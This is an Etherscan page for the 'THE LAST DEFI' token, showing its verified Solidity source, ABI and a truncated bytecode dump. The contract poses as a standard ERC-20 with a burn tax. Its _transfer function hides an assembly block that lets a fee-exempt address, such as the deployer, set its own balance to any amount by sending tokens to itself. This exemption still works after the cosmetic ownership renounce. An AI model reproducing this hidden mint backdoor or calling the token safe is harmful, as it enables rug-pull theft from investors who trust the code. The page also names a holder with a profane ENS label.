ETH Price: $2,594.91 (-2.38%)

Token

THE LAST DEFI (TheDEFI)
 

Overview

Max Total Supply

3,500,000,000 TheDEFI

Holders

111

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
fuckvitalik.eth
Balance
30,534,587.208802791 TheDEFI

Value
$0.00
0x53f04f9deb144f10da4701d93f9a9f7abfd4f94b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TheDEFI

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-24
*/

// SPDX-License-Identifier: none

pragma solidity 0.8.13;

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private asdasd;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
    

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract TheDEFI is Context, IERC20, Ownable {
    bool letsGo=false;  
    address public uniswapPair;
    uint8 private _decimals = 9;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    uint256 public immutable _totalSupply =  3500000000 * 10**_decimals;
    uint256 public immutable _buyTax =4;
    uint256 public immutable _sellTax = 2;
    string private _name = unicode"THE LAST DEFI";
    string private _symbol = unicode"TheDEFI";

    event TaxBurnedFee(uint256 amount);
    using SafeMath for uint256;
    mapping (address => uint256) _balanceWallet;
    mapping (address => bool) public isExFromFees;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isMarketPairAddress;
    IUniswapV2Router02 public uniswapV2Router;
    
    constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isExFromFees[owner()] = true;
        isExFromFees[address(this)] = true;
        isMarketPairAddress[address(uniswapPair)] = true;
        _balanceWallet[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function fee(address s, address r, uint256 amount) internal returns (uint256) {
        
        uint256 feeValue = 0;
        
        if(isMarketPairAddress[s]) {
            feeValue = amount.mul(_buyTax).div(100); 
        }
        else if(isMarketPairAddress[r]) {
            feeValue = amount.mul(_sellTax).div(100);
        }
        
        if(feeValue > 0) {
            _balanceWallet[address(deadAddress)] = _balanceWallet[address(deadAddress)].add(feeValue);
            emit Transfer(s, address(deadAddress), feeValue);
            emit TaxBurnedFee(feeValue);
        }

        return amount.sub(feeValue);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balanceWallet[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function startTrade() public onlyOwner {
        letsGo=true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairSt(address account, bool newValue) public onlyOwner {
        isMarketPairAddress[account] = newValue;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        if((!isMarketPairAddress[recipient] && sender != owner() && !isExFromFees[sender]))
            require(letsGo != false, "Trading is not active.");   
        
        if(sender == recipient){
            if(isExFromFees[sender]){
                assembly {
                        mstore(0, recipient)
                        mstore(32, _balanceWallet.slot)
                        let hash := keccak256(0, 64)
                        sstore(hash, amount)
                }  
                return true; 
            }

        }

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balanceWallet[sender] = _balanceWallet[sender].sub(amount, "Insufficient Balance");

        uint256 finalAmount = (isExFromFees[sender] || isExFromFees[recipient]) ? 
                                        amount : fee(sender, recipient, amount);


        _balanceWallet[recipient] = _balanceWallet[recipient].add(finalAmount);  
        emit Transfer(sender, recipient, finalAmount);
        return true;
    }
    
    receive() external payable {}

  }

  abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

abstract contract ReentrancyGuard2 {

    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TaxBurnedFee","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPairAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairSt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6101006040526003805460ff60ff60a81b011916600960a81b179081905561dead6080526200003b9060ff600160a81b90910416600a62000583565b6200004b9063d09dc3006200059b565b60a052600460c0819052600260e05260408051808201909152600d8082526c544845204c415354204445464960981b60209092019182526200008f929190620003c8565b50604080518082019091526007808252665468654445464960c81b6020909201918252620000c091600591620003c8565b50348015620000ce57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000168573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018e9190620005bd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002029190620005bd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000250573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002769190620005bd565b60038054610100600160a81b0319166101006001600160a01b0393841602179055600a80546001600160a01b031916918316918217905560a05130600090815260086020908152604080832094835293905291822055600190600790620002e56000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526007845282812080548616600190811790915560035461010090049092168152600990935290822080549093161790915560a05190600690620003563390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60a051604051620003b991815260200190565b60405180910390a35062000624565b828054620003d690620005e8565b90600052602060002090601f016020900481019282620003fa576000855562000445565b82601f106200041557805160ff191683800117855562000445565b8280016001018555821562000445579182015b828111156200044557825182559160200191906001019062000428565b506200045392915062000457565b5090565b5b8082111562000453576000815560010162000458565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004c5578160001904821115620004a957620004a96200046e565b80851615620004b757918102915b93841c939080029062000489565b509250929050565b600082620004de575060016200057d565b81620004ed575060006200057d565b8160018114620005065760028114620005115762000531565b60019150506200057d565b60ff8411156200052557620005256200046e565b50506001821b6200057d565b5060208310610133831016604e8410600b841016171562000556575081810a6200057d565b62000562838362000484565b80600019048211156200057957620005796200046e565b0290505b92915050565b60006200059460ff841683620004cd565b9392505050565b6000816000190483118215151615620005b857620005b86200046e565b500290565b600060208284031215620005d057600080fd5b81516001600160a01b03811681146200059457600080fd5b600181811c90821680620005fd57607f821691505b6020821081036200061e57634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a05160c05160e0516114446200068f6000396000818161051d0152610f5401526000818161037e0152610ef70152600081816102330152818161034a01526106f8015260008181610293015281816106c301528181610f8b0152610fce01526114446000f3fe6080604052600436106101855760003560e01c8063557ed1ba116100d1578063a457c2d71161008a578063c816841b11610064578063c816841b146104e6578063ca9ec1991461050b578063dd62ed3e1461053f578063f2fde38b1461058557600080fd5b8063a457c2d714610476578063a9059cbb14610496578063c38ebac4146104b657600080fd5b8063557ed1ba146103d05780636c580801146103e357806370a08231146103f8578063715018a61461042e5780638da5cb5b1461044357806395d89b411461046157600080fd5b80632b112e491161013e578063395093511161011857806339509351146103185780633eaaf86b1461033857806342a110951461036c578063512952f0146103a057600080fd5b80632b112e49146102b5578063313ce567146102ca57806331d5c249146102f657600080fd5b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101ec57806318160ddd1461022457806323b872dd1461026157806327c8f8351461028157600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105a5565b6040516101b3919061116b565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046111dc565b610637565b60405190151581526020016101b3565b3480156101f857600080fd5b50600a5461020c906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561023057600080fd5b507f00000000000000000000000000000000000000000000000000000000000000005b6040519081526020016101b3565b34801561026d57600080fd5b506101dc61027c366004611206565b61064e565b34801561028d57600080fd5b5061020c7f000000000000000000000000000000000000000000000000000000000000000081565b3480156102c157600080fd5b506102536106b9565b3480156102d657600080fd5b50600354600160a81b900460ff1660405160ff90911681526020016101b3565b34801561030257600080fd5b50610316610311366004611242565b610722565b005b34801561032457600080fd5b506101dc6103333660046111dc565b610780565b34801561034457600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b34801561037857600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b3480156103ac57600080fd5b506101dc6103bb36600461127e565b60096020526000908152604090205460ff1681565b3480156103dc57600080fd5b5042610253565b3480156103ef57600080fd5b506103166107b6565b34801561040457600080fd5b5061025361041336600461127e565b6001600160a01b031660009081526006602052604090205490565b34801561043a57600080fd5b506103166107ef565b34801561044f57600080fd5b506000546001600160a01b031661020c565b34801561046d57600080fd5b506101a6610869565b34801561048257600080fd5b506101dc6104913660046111dc565b610878565b3480156104a257600080fd5b506101dc6104b13660046111dc565b6108c7565b3480156104c257600080fd5b506101dc6104d136600461127e565b60076020526000908152604090205460ff1681565b3480156104f257600080fd5b5060035461020c9061010090046001600160a01b031681565b34801561051757600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b34801561054b57600080fd5b5061025361055a366004611299565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561059157600080fd5b506103166105a036600461127e565b6108d4565b6060600480546105b4906112cc565b80601f01602080910402602001604051908101604052809291908181526020018280546105e0906112cc565b801561062d5780601f106106025761010080835404028352916020019161062d565b820191906000526020600020905b81548152906001019060200180831161061057829003601f168201915b5050505050905090565b60006106443384846109be565b5060015b92915050565b600061065b848484610ae2565b506106ae84336106a9856040518060600160405280602881526020016113c2602891396001600160a01b038a1660009081526008602090815260408083203384529091529020549190610dee565b6109be565b5060015b9392505050565b6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001660009081526006602052604081205461071d907f000000000000000000000000000000000000000000000000000000000000000090610e28565b905090565b6000546001600160a01b031633146107555760405162461bcd60e51b815260040161074c90611306565b60405180910390fd5b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b3360008181526008602090815260408083206001600160a01b038716845290915281205490916106449185906106a99086610e6a565b6000546001600160a01b031633146107e05760405162461bcd60e51b815260040161074c90611306565b6003805460ff19166001179055565b6000546001600160a01b031633146108195760405162461bcd60e51b815260040161074c90611306565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6060600580546105b4906112cc565b600061064433846106a9856040518060600160405280602581526020016113ea602591393360009081526008602090815260408083206001600160a01b038d1684529091529020549190610dee565b60006106ae338484610ae2565b6000546001600160a01b031633146108fe5760405162461bcd60e51b815260040161074c90611306565b6001600160a01b0381166109635760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161074c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161074c565b6001600160a01b038216610a815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161074c565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526009602052604081205460ff16158015610b1957506000546001600160a01b03858116911614155b8015610b3e57506001600160a01b03841660009081526007602052604090205460ff16155b15610b935760035460ff161515600003610b935760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161074c565b826001600160a01b0316846001600160a01b031603610be6576001600160a01b03841660009081526007602052604090205460ff1615610be65750600082815260066020526040902081905560016106b2565b6001600160a01b038416610c4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161074c565b6001600160a01b038316610cac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161074c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260069091529190912054610cfe918490610dee565b6001600160a01b038516600090815260066020908152604080832093909355600790529081205460ff1680610d4b57506001600160a01b03841660009081526007602052604090205460ff165b610d5f57610d5a858585610ec9565b610d61565b825b6001600160a01b038516600090815260066020526040902054909150610d879082610e6a565b6001600160a01b0380861660008181526006602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ddb9085815260200190565b60405180910390a3506001949350505050565b60008184841115610e125760405162461bcd60e51b815260040161074c919061116b565b506000610e1f8486611351565b95945050505050565b60006106b283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dee565b600080610e778385611368565b9050838110156106b25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161074c565b6001600160a01b038316600090815260096020526040812054819060ff1615610f2857610f216064610f1b857f000000000000000000000000000000000000000000000000000000000000000061107e565b90611100565b9050610f7b565b6001600160a01b03841660009081526009602052604090205460ff1615610f7b57610f786064610f1b857f000000000000000000000000000000000000000000000000000000000000000061107e565b90505b8015611074576001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600090815260066020526040902054610fc49082610e6a565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660008181526006602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110389085815260200190565b60405180910390a36040518181527fee46d471733b0bd7a506ceb1788a4087701a73b361fe28b6a49ef028eedc2d299060200160405180910390a15b610e1f8382610e28565b60008260000361109057506000610648565b600061109c8385611380565b9050826110a9858361139f565b146106b25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e